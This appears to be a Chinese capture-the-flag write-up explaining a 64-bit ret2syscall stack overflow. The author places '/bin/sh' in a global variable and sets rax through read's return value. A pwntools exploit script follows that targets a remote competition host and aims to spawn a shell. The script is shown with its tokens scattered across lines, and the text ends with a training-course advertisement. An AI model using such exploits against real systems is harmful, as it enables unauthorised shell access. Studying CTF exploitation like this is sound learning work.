今天来看一道RET2SYSCALL64位的栈溢出程序 明显没有后面函数没有/bin/sh等所以需要自己构造 有栈溢出漏洞 有一个输入的全局变量,考虑直接将/bin/sh输入进全局变量中此程序没有使用plt,got表等libc,所以不能采用泄漏libc的方法来做但是看到read write等函数调用了syscall系统调用,所以可以考虑采取retsyscall的方法。此程序为64位程序。所以查询调用表 rax=0X3B调用,然后该程序没有pop rax,所以不能考虑栈溢出来控制rax的值。但是_read函数的返回值是输入的字节返回给RAX以此来控制rax的值。rdi为第一传参器。所以考虑将str构造的/bin/sh赋给rdi故可以有一下exp
from
pwn
import
*
LibcSearcher
sh
=
remote(
"1.container.jingsai.apicon.cn"
,
30296
)
process(
"/home/xinhu/1/vuln"
context(os
'linux'
, arch
'amd64'
, log_level
'debug'
# gdb.attach(sh)
pop
0x401197
str
0x4040b3
payload1
b
'1'
40
+
p64(pop)
p64(
0x404081
payload2
'\x00'
52
'/bin/sh'
sh.sendline(payload1)
sh.recvuntil(
"Anything else?\n>"
# sleep(6)
sh.send(payload2)
sh.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)